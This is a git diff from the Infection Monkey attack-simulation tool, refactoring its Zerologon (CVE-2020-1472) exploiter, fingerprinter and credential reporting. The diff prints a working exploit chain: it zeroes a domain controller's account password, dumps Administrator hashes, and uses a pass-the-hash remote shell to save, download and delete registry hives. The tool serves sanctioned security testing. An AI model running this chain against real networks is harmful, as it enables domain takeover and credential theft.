diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 9188c4fa7..9defc4807 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -38,8 +38,9 @@ class HostExploiter(Plugin): # Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited # machines. This would then prevent any other exploits from being attempted on it. # Sample use case - Zerologon exploiter: - # Exploited machine gives us useful credentials which can be used, but machine isn't compromised by Zerologon - # on its own. Some other exploit using PTH needs to be exploit it. + # Exploited machine gives us useful credentials which can be used, but machine isn't fully compromised by Zerologon + # on its own. Some other exploiter using PTH needs to exploit it with the extracted credentials so that the monkey + # can propagate to it. SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True @property diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 89f072f3d..2951467da 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -3,8 +3,6 @@ Zerologon, CVE-2020-1472 Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. """ -from __future__ import division, print_function - import cmd import io import logging @@ -97,7 +95,7 @@ class ZerologonExploiter(HostExploiter): self.exploit_info['credentials'] = {} def _exploit_host(self): - self.DC_IP, self.DC_NAME, self.DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) + self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host) if self.is_exploitable(): LOG.info("Target vulnerable, changing account password to empty string.") @@ -124,11 +122,11 @@ class ZerologonExploiter(HostExploiter): break self.report_login_attempt(result=False, - user=self.DC_NAME) + user=self.dc_name) if result['ErrorCode'] == 0: self.report_login_attempt(result=True, - user=self.DC_NAME) + user=self.dc_name) LOG.info("Exploit complete!") else: LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") @@ -154,7 +152,7 @@ class ZerologonExploiter(HostExploiter): return self.zerologon_finger.get_host_fingerprint(self.host) def connect_to_dc(self): - binding = epm.hept_map(self.DC_IP, nrpc.MSRPC_UUID_NRPC, + binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() @@ -163,14 +161,14 @@ class ZerologonExploiter(HostExploiter): def attempt_exploit(self, rpc_con): request = nrpc.NetrServerPasswordSet2() - request['PrimaryName'] = self.DC_HANDLE + '\x00' - request['AccountName'] = self.DC_NAME + '$\x00' + request['PrimaryName'] = self.dc_handle + '\x00' + request['AccountName'] = self.dc_name + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator - request['ComputerName'] = self.DC_NAME + '\x00' + request['ComputerName'] = self.dc_name + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request) @@ -207,13 +205,13 @@ class ZerologonExploiter(HostExploiter): def get_admin_pwd_hashes(self): options = self.OPTIONS_FOR_SECRETSDUMP.copy() - options['target'] = '$@'.join([self.DC_NAME, self.DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" - options['target_ip'] = self.DC_IP - options['dc_ip'] = self.DC_IP + options['target'] = '$@'.join([self.dc_name, self.dc_ip]) # format for DC account - "NetBIOSName$@0.0.0.0" + options['target_ip'] = self.dc_ip + options['dc_ip'] = self.dc_ip dumped_secrets = self.get_dumped_secrets(options=options, - remote_name=self.DC_IP, - username=f"{self.DC_NAME}$") + remote_name=self.dc_ip, + username=f"{self.dc_name}$") user = 'Administrator' for secret in dumped_secrets: if user in secret: @@ -249,7 +247,7 @@ class ZerologonExploiter(HostExploiter): options = self.OPTIONS_FOR_SECRETSDUMP.copy() for name in ['system', 'sam', 'security']: options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') - options['dc_ip'] = self.DC_IP + options['dc_ip'] = self.dc_ip options['just_dc'] = False dumped_secrets = self.get_dumped_secrets(options=options, @@ -267,34 +265,39 @@ class ZerologonExploiter(HostExploiter): def save_HKLM_keys_locally(self, admin_pwd_hashes): LOG.debug("Starting remote shell on victim.") - wmiexec = Wmiexec(ip=self.DC_IP, + wmiexec = Wmiexec(ip=self.dc_ip, username='Administrator', hashes=admin_pwd_hashes, - domain=self.DC_IP) + domain=self.dc_ip) remote_shell = wmiexec.get_remote_shell() if remote_shell: _set_stdout_to_in_memory_text_stream() - # Save HKLM keys on victim. - remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + - 'reg save HKLM\\SAM sam.save && ' + - 'reg save HKLM\\SECURITY security.save') + try: + # Save HKLM keys on victim. + remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + + 'reg save HKLM\\SAM sam.save && ' + + 'reg save HKLM\\SECURITY security.save') - # Get HKLM keys locally (can't run these together because it needs to call do_get()). - remote_shell.onecmd('get system.save') - remote_shell.onecmd('get sam.save') - remote_shell.onecmd('get security.save') + # Get HKLM keys locally (can't run these together because it needs to call do_get()). + remote_shell.onecmd('get system.save') + remote_shell.onecmd('get sam.save') + remote_shell.onecmd('get security.save') - # Delete saved keys on victim. - remote_shell.onecmd('del /f system.save sam.save security.save') + # Delete saved keys on victim. + remote_shell.onecmd('del /f system.save sam.save security.save') - info = _unset_stdout_and_return_captured() - LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + wmiexec.close() - wmiexec.close() + return True - return True + except Exception as e: + LOG.info(f"Exception occured: {str(e)}") + + finally: + info = _unset_stdout_and_return_captured() + LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") else: raise Exception("Could not start remote shell on DC.") @@ -308,15 +311,15 @@ class ZerologonExploiter(HostExploiter): flags = 0x212fffff # Send challenge and authentication request. - server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.DC_HANDLE + '\x00', - self.DC_NAME + '\x00', plaintext) + server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.dc_handle + '\x00', + self.dc_name + '\x00', plaintext) server_challenge = server_challenge_response['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, self.DC_HANDLE + '\x00', self.DC_NAME + '$\x00', + rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.DC_NAME + '\x00', ciphertext, flags + self.dc_name + '\x00', ciphertext, flags ) # It worked! @@ -335,9 +338,9 @@ class ZerologonExploiter(HostExploiter): request = NetrServerPasswordSet() request['PrimaryName'] = NULL - request['AccountName'] = self.DC_NAME + '$\x00' + request['AccountName'] = self.dc_name + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel - request['ComputerName'] = self.DC_NAME + '\x00' + request['ComputerName'] = self.dc_name + '\x00' request["Authenticator"] = authenticator pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e001e6c43..f0d8ac5f0 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -352,15 +352,14 @@ class InfectionMonkey(object): try: result = exploiter.exploit_host() if result: - self.successfully_exploited(machine, exploiter) if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET else\ - self.successfully_exploited(machine, exploiter, False) + self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET) return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except ExploitingVulnerableMachineError as exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) - self.successfully_exploited(machine, exploiter) + self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET) return True except FailedExploitationError as e: LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e) diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py index 987cfec25..713cf50dd 100644 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -17,14 +17,14 @@ class ZerologonFinger(HostFinger): MAX_ATTEMPTS = 2000 _SCANNED_SERVICE = "NTLM (NT LAN Manager)" - def get_host_fingerprint(self, host): + def get_host_fingerprint(self, host) -> bool: """ Checks if the Windows Server is vulnerable to Zerologon. """ - DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details(host) + dc_ip, dc_name, dc_handle = self._get_dc_details(host) - if DC_NAME: # if it is a Windows DC + if dc_name: # if it is a Windows DC # Keep authenticating until successful. # Expected average number of attempts needed: 256. # Approximate time taken by 2000 attempts: 40 seconds. @@ -33,7 +33,7 @@ class ZerologonFinger(HostFinger): rpc_con = None for _ in range(0, self.MAX_ATTEMPTS): try: - rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) + rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name) if rpc_con is not None: break except Exception as ex: @@ -55,27 +55,27 @@ class ZerologonFinger(HostFinger): LOG.info('Error encountered; most likely not a Windows Domain Controller.') return False - def get_dc_details(self, host): - DC_IP = host.ip_addr - DC_NAME = self.get_dc_name(DC_IP) - DC_HANDLE = '\\\\' + DC_NAME - return DC_IP, DC_NAME, DC_HANDLE + def _get_dc_details(self, host) -> (str, str, str): + dc_ip = host.ip_addr + dc_name = self._get_dc_name(dc_ip) + dc_handle = '\\\\' + dc_name + return dc_ip, dc_name, dc_handle - def get_dc_name(self, DC_IP): + def _get_dc_name(self, dc_ip: str) -> str: """ Gets NetBIOS name of the Domain Controller (DC). """ try: nb = nmb.NetBIOS.NetBIOS() - name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None - return name[0] if name else None + name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None + return name[0] if name else '' except BaseException as ex: LOG.info(f'Exception: {ex}') - def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME): + def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str): # Connect to the DC's Netlogon service. - binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() @@ -90,13 +90,13 @@ class ZerologonFinger(HostFinger): # Send challenge and authentication request. nrpc.hNetrServerReqChallenge( - rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext) + rpc_con, dc_handle + '\x00', dc_name + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, DC_HANDLE + '\x00', DC_NAME + + rpc_con, dc_handle + '\x00', dc_name + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - DC_NAME + '\x00', ciphertext, flags + dc_name + '\x00', ciphertext, flags ) # It worked! diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index f59b010d3..221873fe8 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -156,7 +156,7 @@ EXPLOITER_CLASSES = { ], "title": "Zerologon Exploiter (UNSAFE)", "info": "CVE-2020-1472. Unsafe exploiter (changes the password of a Windows server domain controller account and " - "breaks communication with other domain controllers.) " + "might break communication with other domain controllers.) " "Exploits a privilege escalation vulnerability in a Windows server domain controller, " "using the Netlogon Remote Protocol (MS-NRPC).", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/" diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index c8993080f..41ca1e561 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -182,29 +182,33 @@ class ReportService: def get_stolen_creds(): creds = [] - # stolen creds from system info collectors - for telem in mongo.db.telemetry.find( - {'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, - {'data.credentials': 1, 'monkey_guid': 1} - ): - monkey_creds = telem['data']['credentials'] - formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds) - if formatted_creds: - creds.extend(formatted_creds) + stolen_system_info_creds = ReportService.get_credentials_from_system_info_telems() + creds.extend(stolen_system_info_creds) - # stolen creds from exploiters - for telem in mongo.db.telemetry.find( - {'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, - {'data.info.credentials': 1, 'monkey_guid': 1} - ): - monkey_creds = telem['data']['info']['credentials'] - formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds) - if formatted_creds: - creds.extend(formatted_creds) + stolen_exploit_creds = ReportService.get_credentials_from_exploit_telems() + creds.extend(stolen_exploit_creds) logger.info('Stolen creds generated for reporting') return creds + @staticmethod + def get_credentials_from_system_info_telems(): + formatted_creds = [] + for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, + {'data.credentials': 1, 'monkey_guid': 1}): + creds = telem['data']['credentials'] + formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds)) + return formatted_creds + + @staticmethod + def get_credentials_from_exploit_telems(): + formatted_creds = [] + for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, + {'data.info.credentials': 1, 'monkey_guid': 1}): + creds = telem['data']['info']['credentials'] + formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds)) + return formatted_creds + @staticmethod def _format_creds_for_reporting(telem, monkey_creds): creds = [] diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index e0bbc087f..dd3c35ada 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -31,15 +31,14 @@ def process_exploit_telemetry(telemetry_json): def add_exploit_extracted_creds_to_config(telemetry_json): if 'credentials' in telemetry_json['data']['info']: creds = telemetry_json['data']['info']['credentials'] - - for user in creds: - ConfigService.creds_add_username(creds[user]['username']) - if 'password' in creds[user] and creds[user]['password']: - ConfigService.creds_add_password(creds[user]['password']) - if 'lm_hash' in creds[user] and creds[user]['lm_hash']: - ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) - if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: - ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + for user in creds: + ConfigService.creds_add_username(creds[user]['username']) + if 'password' in creds[user] and creds[user]['password']: + ConfigService.creds_add_password(creds[user]['password']) + if 'lm_hash' in creds[user] and creds[user]['lm_hash']: + ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) + if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: + ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):